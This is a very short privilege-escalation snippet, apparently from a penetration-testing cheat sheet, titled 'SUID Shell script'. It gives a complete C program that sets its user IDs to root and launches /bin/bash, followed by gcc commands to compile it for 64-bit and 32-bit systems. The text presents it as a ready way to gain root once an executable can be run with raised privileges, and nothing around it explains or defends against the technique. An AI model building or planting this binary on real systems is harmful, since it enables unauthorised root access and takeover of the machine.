SUID Shell script

If your able to run a executable to escalate privilege, you can use the following code to gain root privileges:

code:

int main(void){ 
    setresuid(0, 0, 0); 
    system("/bin/bash"); 
} 

Building the SUID Shell binary:

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c